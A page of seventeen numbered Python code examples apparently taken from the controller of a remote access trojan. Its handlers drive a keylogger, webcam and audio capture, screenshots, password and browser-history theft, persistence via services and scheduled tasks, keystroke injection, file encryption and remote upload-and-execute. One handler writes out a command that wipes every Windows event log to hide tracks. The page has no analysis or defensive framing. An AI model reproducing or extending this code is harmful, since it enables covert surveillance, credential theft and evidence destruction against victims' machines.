Beispiel #1
0
def upload(message):
    filename = validate_dict_key(message, 'file', False)
    url = validate_dict_key(message, 'url', False)
    execute_on_upload = validate_dict_key(message, 'execute')

    message['max_file_size'] = state['settings']['max-file-size']

    if execute_on_upload is None:
        message['execute'] = False
    else:
        message['execute'] = True

    if filename:
        root = f'{state["root"]}/{state["settings"]["folders"]["parent"]}/{state["settings"]["folders"]["child"][0]}/{filename}'

        if (os.path.getsize(root) / 1024 / 1024) > message['max_file_size']:
            status_message(
                f'File exceeding maximum size of {message["max_file_size"]}MB',
                'danger')
            return

        message['from_url'], message['file_data'] = False, read_file(root)
    elif url:
        message['file'], message['from_url'], message[
            'file_data'] = url, True, None
        del message['url']
    else:
        raise Exception('Error message')

    session_message(message, loading_text='uploading file...')
Beispiel #2
0
def cam(data):
	ip = validate_dict_key(data, 'ip')
	port = validate_dict_key(data, 'port')
	unbind = validate_dict_key(data, 'unbind')
	resolution = validate_dict_key(data, 'resolution')
	monitor = validate_dict_key(data, 'monitor')
	close = validate_dict_key(data, 'close')
	status = validate_dict_key(data, 'status')
	fps = validate_dict_key(data, 'fps')
	fit = validate_dict_key(data, 'fit')
	recognize = validate_dict_key(data, 'recognize')

	if resolution:
		assert state['session']['active']
		
		if ip and port:
			data['ip'], data['port'] = ip, int(port)
		else:
			data['ip'], data['port'] = state['sockets']['modules']['cam'][0].getsockname()
		
		if monitor:
			data['monitor'] = int(monitor)
		else:
			data['monitor'] = 0

		if fps is None:
			data['fps'] = False
		
		if fit:
			del data['fit']

		if recognize:
			del data['recognize']
		
		del data['resolution']
		
		threading.Thread(target=cam_action, args=(tuple([int(x) for x in resolution.split(',')]), recognize, fit), daemon=True).start()
		session_message(data)
	elif ip and port:
		if state['sockets']['modules']['cam'][0] is None:
			bind_socket(ip, port, 'cam')
		else:
			ip, port = state['sockets']['modules']['cam'][0].getsockname()
			status_message(f'You are already listening for clients (cam module) on {ip}:{port}', 'danger', {'dots': True})
	elif unbind:
		if state['sockets']['modules']['cam'][0]:    
			unbind_socket('cam')
		else:
			status_message(f'You\'re not listening for clients (cam module)\nThere is no server socket (cam module) to close', 'warning')
	elif close:
		close_client(close, 'cam')
	elif status:
		if state['sockets']['modules']['cam'][0]:
			ip, port = state['sockets']['modules']['cam'][0].getsockname()
			status_message(f'You are listening for clients (cam module) on {ip}:{port}', 'primary')
		else:
			status_message('You are not listening for clients (cam module)', 'warning')
	else:
		raise Exception('Error message')
Beispiel #3
0
def encrypt(message):
    assert message['file']

    decrypt = validate_dict_key(message, 'decrypt')

    if decrypt is None:
        message['decrypt'] = False

    session_message(message)
Beispiel #4
0
def obfuscate(message):
    logs = validate_dict_key(message, 'logs')

    if logs:
        message[
            'message'] = 'for /f %x in (\'wevtutil el\') do wevtutil cl "%x"'
        del message['logs']
        session_message(message)
    else:
        raise Exception('Error message')
Beispiel #5
0
def download(message):
    assert message['file']

    filename = validate_dict_key(message, 'file')
    execute = validate_dict_key(message, 'execute')

    username = state['session']['username']
    make_directories([username, f'{username}/downloads'])
    root = f'{state["root"]}/{username}/downloads/{filename}'

    message['max_file_size'] = state['settings']['max-file-size']
    if execute:
        del message['execute']

    data = session_message(message, False, loading_text='downloading file...')
    download = validate_dict_key(data, 'download', False)

    if download:
        with open(root, 'wb') as f:
            f.write(download)

        if execute:
            os.startfile(root)

    status_message(data['message'], data['text_mode'])
Beispiel #6
0
def interpreter(message):
    execute = validate_dict_key(message, 'execute')
    script = validate_dict_key(message, 'script')
    quiet = validate_dict_key(message, 'quiet')

    assert execute or script

    if script:
        parent_folder = state['settings']['folders']['parent']
        child_folder = state['settings']['folders']['child'][1]
        message['execute'] = read_file(
            f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(
                state['settings']['encoding'])
        del message['script']

    if quiet:
        del message['quiet']

    data = session_message(message, False)
    result = validate_dict_key(data, 'result')

    if result:
        if quiet is None:
            status_message(data['result'], 'pure', {'end': True})
            print()
        make_file(['interpreter'], 'txt',
                  bytes(data['result'], state['settings']['encoding']),
                  data['message'])
    else:
        status_message(data['message'], data['text_mode'])
Beispiel #7
0
def image(message):
    monitor = validate_dict_key(message, 'monitor')
    screenshot = validate_dict_key(message, 'screenshot')
    cam = validate_dict_key(message, 'cam')

    assert screenshot or cam

    if monitor is None:
        message['monitor'] = 0
    else:
        message['monitor'] = int(monitor)

    if screenshot:
        message['image_type'] = True
        del message['screenshot']
        image_type = 'screenshot'
    else:
        message['image_type'] = False
        del message['cam']
        image_type = 'cam-screenshot'

    data = session_message(message, False)

    if data['screenshot']:
        make_image(['image', f'image/{image_type}'],
                   data['screenshot'],
                   success_message=data['message'],
                   image_type=message['image_type'])
Beispiel #8
0
def audio(data):
  ip = validate_dict_key(data, 'ip')
  port = validate_dict_key(data, 'port')
  run = validate_dict_key(data, 'run')
  quiet = validate_dict_key(data, 'quiet')
  unbind = validate_dict_key(data, 'unbind')
  close = validate_dict_key(data, 'close')
  status = validate_dict_key(data, 'status')

  if run:
    assert state['session']['active']

    if ip and port:
      data['ip'], data['port'] = ip, int(port)
    else:
      data['ip'], data['port'] = state['sockets']['modules']['audio'][0].getsockname()

    if quiet:
      del data['quiet']
      
    del data['run']

    threading.Thread(target=audio_action, args=(quiet,), daemon=True).start()
    session_message(data)
  elif ip and port:
    if state['sockets']['modules']['audio'][0] is None:
      bind_socket(ip, port, 'audio')
    else:
      ip, port = state['sockets']['modules']['audio'][0].getsockname()
      status_message(f'You are already listening for clients (audio module) on {ip}:{port}', 'danger', {'dots': True})
  elif unbind:
    if state['sockets']['modules']['audio'][0]:    
      unbind_socket('audio')
    else:
      status_message(f'You\'re not listening for clients (audio module)\nThere is no server socket (audio module) to close', 'warning')
  elif close:
    close_client(close, 'audio')
  elif status:
    if state['sockets']['modules']['audio'][0]:
      ip, port = state['sockets']['modules']['audio'][0].getsockname()
      status_message(f'You are listening for clients (audio module) on {ip}:{port}', 'primary')
    else:
      status_message('You are not listening for clients (audio module)', 'warning')
  else:
    raise Exception('Error message')
Beispiel #9
0
def keystroke(message):
    inject = validate_dict_key(message, 'inject', False)
    script = validate_dict_key(message, 'script', False)

    if inject:
        message['inject'] = inject.strip().split(';')
    elif script:
        parent_folder = state['settings']['folders']['parent']
        child_folder = '{}/{}'.format(state['settings']['folders']['child'][1],
                                      state['settings']['folders']['child'][3])
        message['inject'] = read_file(
            f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(
                state['settings']['encoding']).strip().split('\r\n')
        del message['script']
    else:
        raise Exception('Error message')

    session_message(message)
Beispiel #10
0
def persistence(message):
    elevate = validate_dict_key(message, 'elevate')
    service = validate_dict_key(message, 'service')
    schedule = validate_dict_key(message, 'schedule')

    if elevate:
        message['action_type'] = 'elevate'
        del message['elevate']
    elif service:
        message['action_type'] = 'service'
        del message['service']
    elif schedule:
        message['action_type'] = 'schedule'
        del message['schedule']
    else:
        raise Exception('Error message')

    session_message(message)
Beispiel #11
0
def messagebox(message):
  title = validate_dict_key(message, 'title', False)
  text = validate_dict_key(message, 'text', False)
  style = validate_dict_key(message, 'style')

  if title and text:
    if style == 'info':
      message['style'] = 64
    elif style == 'cross':
      message['style'] =  16
    elif style == 'question':
      message['style'] =  32
    elif style == 'warning':
      message['style'] =  48
    else:
      message['style'] = 64
    session_message(message)
  else:
    raise Exception('Error message')
Beispiel #12
0
def system(message):
    shutdown = validate_dict_key(message, 'shutdown')
    restart = validate_dict_key(message, 'restart')
    logout = validate_dict_key(message, 'logout')
    standby = validate_dict_key(message, 'standby')

    if shutdown:
        message['action_type'] = 'shutdown'
        del message['shutdown']
    elif restart:
        message['action_type'] = 'restart'
        del message['restart']
    elif logout:
        message['action_type'] = 'logout'
        del message['logout']
    elif standby:
        message['action_type'] = 'standby'
        del message['standby']
    else:
        raise Exception('Error message')

    session_message(message)
Beispiel #13
0
def keylogger(message):
    run = validate_dict_key(message, 'run')
    download = validate_dict_key(message, 'download')
    close = validate_dict_key(message, 'close')
    status = validate_dict_key(message, 'status')
    quiet = validate_dict_key(message, 'quiet')

    if run:
        message['action_type'] = 'run'
        del message['run']
        session_message(message)
    elif download:
        message['action_type'] = 'download'
        del message['download']
        data = session_message(message, False)

        logs = validate_dict_key(data, 'logs')

        if logs:
            if quiet is None:
                status_message(logs.decode(state['settings']['encoding']),
                               'raw')
                print()
            make_file(['keylogger'], 'txt', logs, data['message'])
        else:
            status_message(data['message'], data['text_mode'])
    elif close:
        message['action_type'] = 'close'
        del message['close']
        session_message(message)
    elif status:
        message['action_type'] = 'status'
        del message['status']
        session_message(message)
    else:
        raise Exception('Error message')
Beispiel #14
0
def command_validation(message):
  low_message = message['message'].lower()

  if low_message == 'help':
    get_help()
  elif low_message == 'exit':
    exit_program()
  elif low_message == 'clear':
    clear_screen()
  elif low_message == 'sockets':
    sockets()
  elif low_message == 'options':
    options(message)
  elif low_message == 'stream':
    stream(message)
  elif low_message == 'cam':
    cam(message)
  elif low_message == 'audio':
    audio(message)
  elif low_message == 'talk':
    talk(message)
  elif state['session']['active']:
    if low_message == 'break':
      exit_session()
    elif low_message == 'cd':
      cd(message)
    elif low_message == 'image':
      image(message)
    elif low_message == 'upload':
      upload(message)
    elif low_message == 'download':
      download(message)
    elif low_message == 'encrypt':
      encrypt(message)
    elif low_message == 'interpreter':
      interpreter(message)
    elif low_message == 'keylogger':
      keylogger(message)
    elif low_message == 'keystroke':
      keystroke(message)
    elif low_message == 'persistence':
      persistence(message)
    elif low_message == 'system':
      system(message)
    elif low_message == 'recover':
      recover(message)
    elif low_message == 'obfuscate':
      obfuscate(message)
    elif low_message == 'website':
      website(message)
    elif low_message == 'messagebox':
      messagebox(message)
    else:
      session_message(message)
  else:
    if low_message == 'list':
      list_clients()
    elif low_message == 'server':
      server(message)
    elif low_message == 'delete':
      delete(message)
    elif low_message == 'session':
      enter_session(message)
    else:
      stdout(low_message, message)
Beispiel #15
0
def recover(message):
    password = validate_dict_key(message, 'password')
    history = validate_dict_key(message, 'history')
    quiet = validate_dict_key(message, 'quiet')
    force = validate_dict_key(message, 'force')

    if force is None:
        message['force'] = False

    if password:
        del message['password']
        message['action_type'] = 'password'

        if quiet:
            del message['quiet']

        data = session_message(message, False)

        if quiet is None:
            text = [x for x in data['message'].split('\n') if x != '']
            count = 0

            for line in text:
                if line[:3] == '[+]':
                    print()
                    status_message(line[4:], 'success', {
                        'end': True,
                        'point': 'empty'
                    })
                elif line[:3] == '[-]':
                    print()
                    status_message(line[4:], 'danger', {
                        'end': True,
                        'point': 'empty'
                    })
                elif line[:19] == '-------------------':
                    if count != 0: print()
                    count += 1
                    status_message(line, 'raw')
                else:
                    status_message(line, 'raw')
            print()

        make_file(['recover', 'recover/password'], 'txt',
                  bytes(data['message'], 'utf-8'),
                  'Passwords succesfully recovered')
    elif history:
        del message['history']
        message['action_type'] = 'history'

        if quiet:
            del message['quiet']

        data = session_message(message, False)

        if quiet is None:
            for browser, browser_data in data['message'].items():
                browser = browser.capitalize()
                for link, title, date in browser_data:
                    status_message(f'{browser}: {link}, {title}, {date}',
                                   'pure', {'end': True})
            print()

        make_history(['recover', 'recover/history'], 'csv', data['message'],
                     'Browser history succesfully recovered')
    else:
        raise Exception('Error message')
Beispiel #16
0
def cd(message):
    assert message['to']
    session_message(message)
Beispiel #17
0
def website(message):
    message['open'] = message['open'].split(',')
    session_message(message)